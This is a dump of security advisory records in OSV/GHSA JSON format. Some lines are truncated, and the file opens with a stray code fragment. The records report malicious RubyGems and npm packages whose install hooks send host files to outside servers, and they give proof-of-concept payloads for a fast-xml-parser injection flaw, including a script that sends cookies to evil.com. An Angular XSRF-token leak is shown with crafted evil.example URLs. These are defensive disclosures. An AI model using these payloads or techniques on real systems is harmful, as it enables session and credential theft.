tools:\n\n```python\n# In registry.py — change mark_approved/is_already_approved:\nimport hashlib, json\n\ndef mark_approved(self, tool_name: str, arguments: dict = None) -> None:\n approved = self._approved_context.get(set(Line truncated
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{"schema_version":"1.9.2","id":"MAL-2026-20058","published":"2026-11-17T09:18:21Z","modified":"2026-11-17T09:45:09.317968983Z","summary":"Malicious code in node-test-repo (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ossf-package-analysis (013b3a9afde1d4c01bf70bfa34b03fc9ca0f6a08dbb0a91db6fdccc481214468)\nThe OpenSSF Package Analysis project identified 'node-test-repo' @ 1.0.1 (rubygems) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"node-test-repo","ecosystem":"RubyGems","purl":"pkg:gem/node-test-repo"},"versions":["1.0.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/node-test-repo/MAL-2026-20058.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-17T09:37:05.760204947Z","modified_time":"2026-11-17T09:18:21Z","sha256":"013b3a9afde1d4c01bf70bfa34b03fc9ca0f6a08dbb0a91db6fdccc481214468","source":"ossf-package-analysis","versions":["1.0.1"]}]},"credits":[{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2026-20058","published":"2026-11-17T09:18:21Z","modified":"2026-11-18T00:45:12.124413447Z","summary":"Malicious code in node-test-repo (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (39fc0f46ef530b718c8271a4a4495d4e766b227e821ff8ff949fd2b94062b0ae)\nThe gem declares an extension script in its gemspec, causing RubyGems to invoke it automatically during `gem install`. The script performs no native build work: it collects host identifiers (hostname, username, current working directory, home directory) and reads sensitive local files (/etc/passwd, /etc/hosts, /etc/resolv.conf), then opens a TLS TCPSocket to the hardcoded host e9okezgvlhxswlui5o94upb1ys4xsngc.oastify.com on port 443 and POSTs the collected JSON body to it. The destination is a Burp Collaborator out-of-band subdomain, not a publisher- or build-related endpoint, and the data read is unrelated to any compilation purpose.\n\n## Source: ossf-package-analysis (013b3a9afde1d4c01bf70bfa34b03fc9ca0f6a08dbb0a91db6fdccc481214468)\nThe OpenSSF Package Analysis project identified 'node-test-repo' @ 1.0.1 (rubygems) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"node-test-repo","ecosystem":"RubyGems","purl":"pkg:gem/node-test-repo"},"versions":["1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"ext/mkrf_conf.rb","sha256":"9e32bb477cd5a7be8b7f4f7f5e213835d927c74207bdbe0da8ac3eac640133c0","tlsh":"cf11328c938c7c60db93886fd50c3142509fde46c5095536baac44a0ef2df7867324f5"}],"package_integrity":[{"filename":"node-test-repo-1.0.1.gem","hashes":{"sha256":"e2becb4938624d7d7fdcff4be66326eddbdf7e15755c1aa87ff097de4519876c"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/node-test-repo/MAL-2026-20058.json"}}],"references":[{"type":"PACKAGE","url":"https://rubygems.org/gems/node-test-repo/versions/1.0.1"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-17T09:37:05.760204947Z","modified_time":"2026-11-17T09:18:21Z","sha256":"013b3a9afde1d4c01bf70bfa34b03fc9ca0f6a08dbb0a91db6fdccc481214468","source":"ossf-package-analysis","versions":["1.0.1"]},{"id":"IN-MAL-2026-022824","import_time":"2026-11-18T00:30:52.060995195Z","modified_time":"2026-11-17T23:40:17Z","sha256":"39fc0f46ef530b718c8271a4a4495d4e766b227e821ff8ff949fd2b94062b0ae","source":"amazon-inspector","versions":["1.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20103","published":"2026-11-17T23:40:25Z","modified":"2026-11-18T00:45:12.072166295Z","summary":"Malicious code in vuln-app (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d905ef222b582842835ecb00de0605874b2ccc75e21669725c81de9694aed9bf)\nThe gem declares ext/mkrf_conf.rb as a native extension, which RubyGems auto-executes during `gem install`. The script contains no build logic; instead it collects installer-side data (hostname, login user, cwd, home directory, and the contents of /etc/passwd, /etc/hosts, /etc/resolv.conf), serializes it as JSON, opens a TLS connection to the hardcoded Burp Collaborator subdomain g1im618xdjpuonmkxq16mr33quwlm9cx1.oastify.com:443, and POSTs the payload. A sentinel file.installed is then written. The extension-script naming is used solely to trigger auto-execution on install; no Rakefile is generated and no compilation occurs.\n","affected":[{"package":{"name":"vuln-app","ecosystem":"RubyGems","purl":"pkg:gem/vuln-app"},"versions":["1.2.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"ext/mkrf_conf.rb","sha256":"866bc8b95aa509d24f5a81b6304dfe96412fd1745b018be0037260cad62d8c34","tlsh":"aa1132cc53c97c655b9a88afd50d20425087ce47c6091831bb8944a4cf7eb3873325f9"}],"package_integrity":[{"filename":"vuln-app-1.2.1.gem","hashes":{"sha256":"3f7bb02067a0d0afae1b12776421ae826cf726e2c4dc296363ed4342529b47e6"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/vuln-app/MAL-2026-20103.json"}}],"references":[{"type":"PACKAGE","url":"https://rubygems.org/gems/vuln-app/versions/1.2.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022825","import_time":"2026-11-18T00:30:52.18511177Z","modified_time":"2026-11-17T23:40:25Z","sha256":"d905ef222b582842835ecb00de0605874b2ccc75e21669725c81de9694aed9bf","source":"amazon-inspector","versions":["1.2.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.9.0","id":"GHSA-gh4j-gqv2-49f6","published":"2026-04-22T20:04:17Z","modified":"2026-09-10T03:51:01.693430465Z","aliases":["CVE-2026-41650"],"summary":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","details":"# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of -->\nbuildTextValNode(val, key, attrStr, level) {\n // ...\n if (key === this.options.commentPropName) {\n return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE\n }\n // ...\n if (key === this.options.cdataPropName) {\n return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE\n }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from 'fast-xml-parser';\n\nconst builder = new XMLBuilder({\n commentPropName: \"#comment\",\n format: true,\n suppressEmptyNode: true\n});\n\nconst xml = {\n root: {\n \"#comment\": \"--><script>alert('XSS')</script><!--\",\n data: \"legitimate content\"\n }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n<root>\n <!----><script>alert('XSS')</script><!---->\n <data>legitimate content</data>\n</root>\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n cdataPropName: \"#cdata\",\n format: true,\n suppressEmptyNode: true\n});\n\nconst rss = {\n rss: { channel: { item: {\n title: \"Article\",\n description: {\n \"#cdata\": \"Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more\"\n }\n }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n<rss>\n <channel>\n <item>\n <title>Article</title>\n <description>\n <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>\n </description>\n </item>\n </channel>\n</rss>\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n commentPropName: \"#comment\",\n format: true\n});\n\nconst soap = {\n \"soap:Envelope\": {\n \"soap:Body\": {\n \"#comment\": \"Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--\",\n Action: \"getBalance\",\n UserId: \"12345\"\n }\n }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n<soap:Envelope>\n <soap:Body>\n <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->\n <Action>getBalance</Action>\n <UserId>12345</UserId>\n </soap:Body>\n</soap:Envelope>\n```\n\nThe injected `<Action>deleteAll</Action>` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n Injection successful: true\n\n4. Round-trip test:\n Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n const safeVal = String(val).replace(/--/g, '&#45;&#45;');\n return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;\n}\n\Line truncated
{"schema_version":"1.9.2","id":"GHSA-gh4j-gqv2-49f6","published":"2026-04-22T20:04:17Z","modified":"2026-11-18T00:45:13.731912370Z","aliases":["CVE-2026-41650"],"summary":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","details":"# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser v5.5.12 (latest) XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of -->\nbuildTextValNode(val, key, attrStr, level) {\n // ...\n if (key === this.options.commentPropName) {\n return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE\n }\n // ...\n if (key === this.options.cdataPropName) {\n return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE\n }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from 'fast-xml-parser';\n\nconst builder = new XMLBuilder({\n commentPropName: \"#comment\",\n format: true,\n suppressEmptyNode: true\n});\n\nconst xml = {\n root: {\n \"#comment\": \"--><script>alert('XSS')</script><!--\",\n data: \"legitimate content\"\n }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n<root>\n <!----><script>alert('XSS')</script><!---->\n <data>legitimate content</data>\n</root>\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n cdataPropName: \"#cdata\",\n format: true,\n suppressEmptyNode: true\n});\n\nconst rss = {\n rss: { channel: { item: {\n title: \"Article\",\n description: {\n \"#cdata\": \"Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more\"\n }\n }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n<rss>\n <channel>\n <item>\n <title>Article</title>\n <description>\n <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>\n </description>\n </item>\n </channel>\n</rss>\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n commentPropName: \"#comment\",\n format: true\n});\n\nconst soap = {\n \"soap:Envelope\": {\n \"soap:Body\": {\n \"#comment\": \"Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--\",\n Action: \"getBalance\",\n UserId: \"12345\"\n }\n }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n<soap:Envelope>\n <soap:Body>\n <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->\n <Action>getBalance</Action>\n <UserId>12345</UserId>\n </soap:Body>\n</soap:Envelope>\n```\n\nThe injected `<Action>deleteAll</Action>` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n Injection successful: true\n\n4. Round-trip test:\n Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n const safeVal = String(val).replace(/--/g, '&#45;&#45;');\n return this.indentate(level) + `<!--${safeVal}-->` + thLine truncated
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{"schema_version":"1.9.0","id":"GHSA-jfgx-762w-99vr","published":"2026-10-20T20:37:57Z","modified":"2026-10-20T20:45:05.952939259Z","aliases":["CVE-2026-111753"],"summary":"@angular/common: XSRF Token Leakage via URL Parsing Discrepancy in Angular HTTP Client (Incomplete fix for CVE-2025-66035)","details":"An incomplete fix for [GHSA-58c5-g7wp-6w37](https://github.com/angular/angular/security/advisories/GHSA-58c5-g7wp-6w37) (`CVE-2025-66035`) in `@angular/common`'s HTTP Client (`HttpClient`) allows Cross-Site Request Forgery (XSRF) tokens to be leaked to attacker-controlled cross-origin domains when requests use URLs that exploit parsing discrepancies between regular expressions and the browser's WHATWG URL parser.\n\n### Technical Description\n\nTo address `CVE-2025-66035`, `xsrfInterceptorFn` introduced a regular expression (`const ABSOLUTE_URL_REGEX = /^(?:https?:)?\\/\\//i`) to detect and skip absolute and protocol-relative URLs before attaching the `X-XSRF-TOKEN` header.\n\nHowever, browsers resolve request URLs passed to `fetch()` and `XMLHttpRequest.open()` using the **WHATWG URL parser**. For `http:` and `https:` schemes, the WHATWG URL standard performs several normalizations prior to resolving the authority/origin:\n* Backslashes (`\\`) are treated as forward slashes (`/`) — e.g., `/\\evil.example/x`, `\\\\evil.example/x`, `\\/evil.example/x`, `https:\\\\evil.example/x`, `https:/\\evil.example/x`.\n* Leading and trailing C0 control characters and spaces (`<= 0x20`) are stripped — e.g., `' //evil.example/x'`, `'\\0//evil.example/x'`, `'\\x1f//evil.example/x'`.\n* ASCII tab (`\\t`), newline (`\\n`), and carriage return (`\\r`) characters are removed anywhere in the input — e.g., `'/\\t/evil.example/x'`, `'/\\n/evil.example/x'`, `'htt\\tps://evil.example/x'`.\n\nBecause these URLs do not match `/^(?:https?:)?\\/\\//i`, `xsrfInterceptorFn` treats them as relative same-origin URLs and attaches the `X-XSRF-TOKEN` header, while the browser resolves and dispatches the request to the cross-origin host (`evil.example`).\n\nNote: Angular `21.0.3+` and `22.x` replaced the regular expression with a WHATWG `new URL(req.url, locationOrigin)` origin comparison in [#65683](https://github.com/angular/angular/pull/65683) and were already unaffected. However, the `20.3.x` LTS branch retained the regular expression until `20.3.34`.\n\n### Impact\n\nThe token leakage bypasses Angular's built-in XSRF protection on affected versions, allowing an attacker to capture the user's valid `X-XSRF-TOKEN` header if their server permits the request and custom header via CORS. Once obtained, the attacker can perform Cross-Site Request Forgery (CSRF) attacks against the victim user's session.\n\n### Attack Preconditions\n\n1. The victim's Angular application must have **XSRF protection enabled** (enabled by default in `HttpClient`).\n2. The attacker must be able to make the application send a state-changing HTTP request (e.g., `POST`, `PUT`, `DELETE`, `PATCH`) to a URL they control (such as `/\\attacker.example/api` or ` //attacker.example/api`).\n\n### Patches\n\nThe issue is resolved by parsing and comparing the request URL's origin against the application's current origin using the standard `URL` constructor (`new URL(req.url, locationOrigin)`).\n\n* `21.0.3` (and all `22.x` releases)\n* `20.3.34`\n\n### Workarounds\n\nIf you cannot immediately upgrade to a patched version:\n* Validate and normalize outgoing request URLs using `new URL(url, window.location.origin)` and verify that `parsedUrl.origin === window.location.origin` before passing dynamic URLs to mutating `HttpClient` requests.\n* Avoid passing untrusted or user-controlled URLs to `HttpClient` mutating methods.","affected":[{"package":{"name":"@angular/common","ecosystem":"npm","purl":"pkg:npm/%40angular/common"},"ranges":[{"type":"SEMVER","events":[{"introduced":"21.0.0"},{"fixed":"21.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jfgx-762w-99vr/GHSA-jfgx-762w-99vr.json"}},{"package":{"name":"@angular/common","ecosystem":"npm","purl":"pkg:npm/%40angular/common"},"ranges":[{"type":"SEMVER","events":[{"introduced":"20.0.0"},{"fixed":"20.3.34"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jfgx-762w-99vr/GHSA-jfgx-762w-99vr.json"}},{"package":{"name":"@angular/common","ecosystem":"npm","purl":"pkg:npm/%40angular/common"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"19.2.25"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jfgx-762w-99vr/GHSA-jfgx-762w-99vr.json"}}],"references":[{"type":"WEB","url":"https://github.com/angular/angular/security/advisories/GHSA-jfgx-762w-99vr"},{"type":"WEB","url":"https://github.com/angular/angular/pull/65683"},{"type":"WEB","url":"https://github.com/angular/anLine truncated
{"schema_version":"1.9.2","id":"GHSA-jfgx-762w-99vr","published":"2026-10-20T20:37:57Z","modified":"2026-11-18T00:45:13.742708373Z","aliases":["CVE-2026-111753"],"summary":"@angular/common: XSRF Token Leakage via URL Parsing Discrepancy in Angular HTTP Client (Incomplete fix for CVE-2025-66035)","details":"An incomplete fix for [GHSA-58c5-g7wp-6w37](https://github.com/angular/angular/security/advisories/GHSA-58c5-g7wp-6w37) (`CVE-2025-66035`) in `@angular/common`'s HTTP Client (`HttpClient`) allows Cross-Site Request Forgery (XSRF) tokens to be leaked to attacker-controlled cross-origin domains when requests use URLs that exploit parsing discrepancies between regular expressions and the browser's WHATWG URL parser.\n\n### Technical Description\n\nTo address `CVE-2025-66035`, `xsrfInterceptorFn` introduced a regular expression (`const ABSOLUTE_URL_REGEX = /^(?:https?:)?\\/\\//i`) to detect and skip absolute and protocol-relative URLs before attaching the `X-XSRF-TOKEN` header.\n\nHowever, browsers resolve request URLs passed to `fetch()` and `XMLHttpRequest.open()` using the **WHATWG URL parser**. For `http:` and `https:` schemes, the WHATWG URL standard performs several normalizations prior to resolving the authority/origin:\n* Backslashes (`\\`) are treated as forward slashes (`/`) — e.g., `/\\evil.example/x`, `\\\\evil.example/x`, `\\/evil.example/x`, `https:\\\\evil.example/x`, `https:/\\evil.example/x`.\n* Leading and trailing C0 control characters and spaces (`<= 0x20`) are stripped — e.g., `' //evil.example/x'`, `'\\0//evil.example/x'`, `'\\x1f//evil.example/x'`.\n* ASCII tab (`\\t`), newline (`\\n`), and carriage return (`\\r`) characters are removed anywhere in the input — e.g., `'/\\t/evil.example/x'`, `'/\\n/evil.example/x'`, `'htt\\tps://evil.example/x'`.\n\nBecause these URLs do not match `/^(?:https?:)?\\/\\//i`, `xsrfInterceptorFn` treats them as relative same-origin URLs and attaches the `X-XSRF-TOKEN` header, while the browser resolves and dispatches the request to the cross-origin host (`evil.example`).\n\nNote: Angular `21.0.3+` and `22.x` replaced the regular expression with a WHATWG `new URL(req.url, locationOrigin)` origin comparison in [#65683](https://github.com/angular/angular/pull/65683) and were already unaffected. However, the `20.3.x` LTS branch retained the regular expression until `20.3.34`.\n\n### Impact\n\nThe token leakage bypasses Angular's built-in XSRF protection on affected versions, allowing an attacker to capture the user's valid `X-XSRF-TOKEN` header if their server permits the request and custom header via CORS. Once obtained, the attacker can perform Cross-Site Request Forgery (CSRF) attacks against the victim user's session.\n\n### Attack Preconditions\n\n1. The victim's Angular application must have **XSRF protection enabled** (enabled by default in `HttpClient`).\n2. The attacker must be able to make the application send a state-changing HTTP request (e.g., `POST`, `PUT`, `DELETE`, `PATCH`) to a URL they control (such as `/\\attacker.example/api` or ` //attacker.example/api`).\n\n### Patches\n\nThe issue is resolved by parsing and comparing the request URL's origin against the application's current origin using the standard `URL` constructor (`new URL(req.url, locationOrigin)`).\n\n* `21.0.3` (and all `22.x` releases)\n* `20.3.34`\n\n### Workarounds\n\nIf you cannot immediately upgrade to a patched version:\n* Validate and normalize outgoing request URLs using `new URL(url, window.location.origin)` and verify that `parsedUrl.origin === window.location.origin` before passing dynamic URLs to mutating `HttpClient` requests.\n* Avoid passing untrusted or user-controlled URLs to `HttpClient` mutating methods.","affected":[{"package":{"name":"@angular/common","ecosystem":"npm","purl":"pkg:npm/%40angular/common"},"ranges":[{"type":"SEMVER","events":[{"introduced":"21.0.0"},{"fixed":"21.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jfgx-762w-99vr/GHSA-jfgx-762w-99vr.json"}},{"package":{"name":"@angular/common","ecosystem":"npm","purl":"pkg:npm/%40angular/common"},"ranges":[{"type":"SEMVER","events":[{"introduced":"20.0.0"},{"fixed":"20.3.34"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jfgx-762w-99vr/GHSA-jfgx-762w-99vr.json"}},{"package":{"name":"@angular/common","ecosystem":"npm","purl":"pkg:npm/%40angular/common"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"19.2.25"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jfgx-762w-99vr/GHSA-jfgx-762w-99vr.json"}}],"references":[{"type":"WEB","url":"https://github.com/angular/angular/security/advisories/GHSA-jfgx-762w-99vr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111753"},{"type":"WEB","url":"https://github.com/anLine truncated
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{"schema_version":"1.9.2","id":"MAL-2026-20062","published":"2026-11-17T10:18:34Z","modified":"2026-11-17T10:45:03.793708216Z","summary":"Malicious code in singpass-myinfo-oidc-helper (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ossf-package-analysis (d0a839ddd03981e959cb78edfa6cc961928633acb6277373d18b37ccb9443675)\nThe OpenSSF Package Analysis project identified 'singpass-myinfo-oidc-helper' @ 0.0.2 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"singpass-myinfo-oidc-helper","ecosystem":"npm","purl":"pkg:npm/singpass-myinfo-oidc-helper"},"versions":["0.0.2"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/singpass-myinfo-oidc-helper/MAL-2026-20062.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-17T10:36:47.834789029Z","modified_time":"2026-11-17T10:18:34Z","sha256":"d0a839ddd03981e959cb78edfa6cc961928633acb6277373d18b37ccb9443675","source":"ossf-package-analysis","versions":["0.0.2"]}]},"credits":[{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2026-20062","published":"2026-11-17T07:42:52Z","modified":"2026-11-18T03:15:04.636738062Z","summary":"Malicious code in singpass-myinfo-oidc-helper (npm)","details":"singpass-myinfo-oidc-helper is a name-squatting package: it takes the unscoped form of the official Singpass/Myinfo SDK `@govtechsg/singpass-myinfo-oidc-helper` (Singapore's national digital identity), so a project that installs the name without its scope, or a build that resolves the unscoped name from the public registry, receives this package instead. Versions 0.0.1 and 0.0.2, published on 2026-11-17, declare a `postinstall` script that runs `node postinstall.js`, which sends an HTTPS GET to `https://claim-test.ngrok.app/hello-world`, an ngrok tunnel controlled by a third party. The request carries no payload, but it confirms the install to that party and discloses the installing machine's public IP address and the time of the install. The script never consumes the response, so the install can hang until the remote side closes the connection. `index.js` only prints a notice; the package describes itself as a \"Security research placeholder\". The `0.0.0-stage` placeholder carries no install script and is not affected. Remove the package, depend on `@govtechsg/singpass-myinfo-oidc-helper` instead, and block `claim-test.ngrok.app` on build hosts.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ossf-package-analysis (d0a839ddd03981e959cb78edfa6cc961928633acb6277373d18b37ccb9443675)\nThe OpenSSF Package Analysis project identified 'singpass-myinfo-oidc-helper' @ 0.0.2 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"singpass-myinfo-oidc-helper","ecosystem":"npm","purl":"pkg:npm/singpass-myinfo-oidc-helper"},"versions":["0.0.2","0.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/singpass-myinfo-oidc-helper/MAL-2026-20062.json"}}],"database_specific":{"iocs":{"domains":["claim-test.ngrok.app"],"files":[{"digests":{"sha256":"d83594b14decfb9efbe6c3c220a4a622301b40223b90884c6528edeac333c324"},"note":"postinstall: HTTPS GET to the ngrok tunnel; response never consumed","paths":["postinstall.js"],"source":"PACKAGE_ARCHIVE"}],"urls":["https://claim-test.ngrok.app/hello-world"]},"malicious-packages-origins":[{"import_time":"2026-11-17T10:36:47.834789029Z","modified_time":"2026-11-17T10:18:34Z","sha256":"d0a839ddd03981e959cb78edfa6cc961928633acb6277373d18b37ccb9443675","source":"ossf-package-analysis","versions":["0.0.2"]}]},"credits":[{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"},{"name":"Robin Frehner, Protet","contact":["https://protet.io","mailto:hello@protet.io"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20104","published":"2026-11-18T00:24:40Z","modified":"2026-11-18T00:45:23.891667618Z","aliases":["GHSA-fv82-jh67-xx7q"],"summary":"Malicious code in @tnhorg/agent-skills (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (15aa7c362aaaafc306126cc31a429b36a4e6b324ae8671e860a2acea348ca75b)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"@tnhorg/agent-skills","ecosystem":"npm","purl":"pkg:npm/%40tnhorg/agent-skills"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious 